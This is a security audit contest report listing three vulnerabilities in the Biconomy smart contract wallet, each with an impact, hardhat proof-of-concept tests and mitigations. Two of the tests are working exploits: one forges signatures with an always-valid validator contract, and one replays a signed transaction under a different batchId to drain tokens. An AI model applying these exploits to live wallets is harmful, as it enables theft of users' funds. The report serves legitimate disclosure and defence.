Biconomy - Smart Contract Wallet contest - romand's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L342

Vulnerability details

Impact

A malicious user can forge signatures for any transaction, allowing fund theft from any wallet

Proof of Concept

Added minimal SignatureValidator contract which returns that the signature is verified for any signature:

pragma solidity 0.8.12;

contract SignatureValidator {
    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) {
        return 0x20c13b0b;
    }
}

Added the following test to testGroup1.ts (bob generates contract signature, uses the SignatureValidator to validate the signature)

  it("should exploit contract signature", async function () {
    const SignatureValidator = await ethers.getContractFactory("SignatureValidator");
    let signatureValidator = await SignatureValidator.deploy();
    await signatureValidator.deployed();

    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(bob, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0),
    });


    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    const signature = "0x" + "000000000000000000000000" + signatureValidator.address.slice(2) + "0000000000000000000000000000000000000000000000000000000000000041" + "00" + // r, s, v
                "0000000000000000000000000000000000000000000000000000000000000000" // length
    await expect(
      userSCW.connect(accounts[1]).execTransaction( // notice that accounts[1] (bob) executes the transaction
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    expect(await token.balanceOf(bob)).to.equal(
      ethers.utils.parseEther("10")
    );
  });

Tools Used

VS Code, hardhat

Recommended Mitigation Steps

Check that _signer is an approved SignatureValidator (Reference to how Safe checks this https://github.com/safe-global/safe-contracts/blob/main/contracts/GnosisSafe.sol#L301)

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L204-L219

Vulnerability details

Impact

A malicious user can replay a transaction signed by another user, by changing the batchId to another value which holds an equal nonce in nonces. This potentially can allow the attacker to steal funds if the replayed transaction transfers value.

Proof of Concept

After the user calls execTranscation with batchId=x, a nonce value of nonces[x] is used. If there is another batchId=y such that nonces[x] = nonces[y], the attacker can replay the same transaction with batchId=y. This is surely possible at the first transaction of any batchId, because nonces[batchId]=0 for any batchId

Added the following test to testGroup1.ts:

it("should exploit batchId", async function () {
    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    const txs: MetaTransaction[] = [
      buildContractCall(
        token,
        "transfer",
        [bob, ethers.utils.parseEther("10")],
        1234 // This is ignored
      )
    ];

    const safeTx: SafeTransaction = buildMultiSendSafeTx(
      multiSend,
      txs,
      await userSCW.getNonce(0)
    );
    const chainId = await userSCW.getChainId();
    const { signer, data } = await safeSignTypedData(
      accounts[0],
      userSCW,
      safeTx,
      chainId
    );

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    let signature = "0x";
    signature += data.slice(2);
    await expect(
      userSCW.connect(accounts[0]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    expect(await token.balanceOf(bob)).to.equal(ethers.utils.parseEther("10"));

    // Execute the transaction again with another batch id, from another bob
    await expect(
      userSCW.connect(accounts[1]).execTransaction( // accounts[1] (bob) replays the transaction with a different batchId
        transaction,
        1, // change batchId to another batch which held a similar nonce value as the original batchId=0 transaction
        refundInfo,
        signature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    expect(await token.balanceOf(bob)).to.equal(ethers.utils.parseEther("20"));
  });

Tools Used

VS Code, hardhat

Recommended Mitigation Steps

Signing over not only nonces[batchId] but also over batchId will prevent the replay attack https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L501-L503 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L194

Vulnerability details

Impact

A user can call execTransaction batchId=0, not knowing this value is reserved for AA https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L499 // @notice Nonce space is locked to 0 for AA transactions This can cause many issues, such as escalating other vulnerabilities, causing problems in future code, or the issue in current code - cause user operations to fail, because they were signed for a nonce value which was already incremented by sending a batch with batchId=0

Proof of Concept

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L501-L503 https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L216 PoC for failing user operations:

1. User sends UserOperation with nonce N.
2. While the UserOperation is in the mempool, the user calls execTransaction with batchId=0
3. nonces[batchId=0] increments to N+1, thus causing the previously sent UserOperation to fail the nonce validation in _validateAndUpdateNonce

This can happen multiple times, and the user won't know what went wrong

Tools Used

VS Code

Recommended Mitigation Steps

Add check to prevent calling execTransaction with batchId=0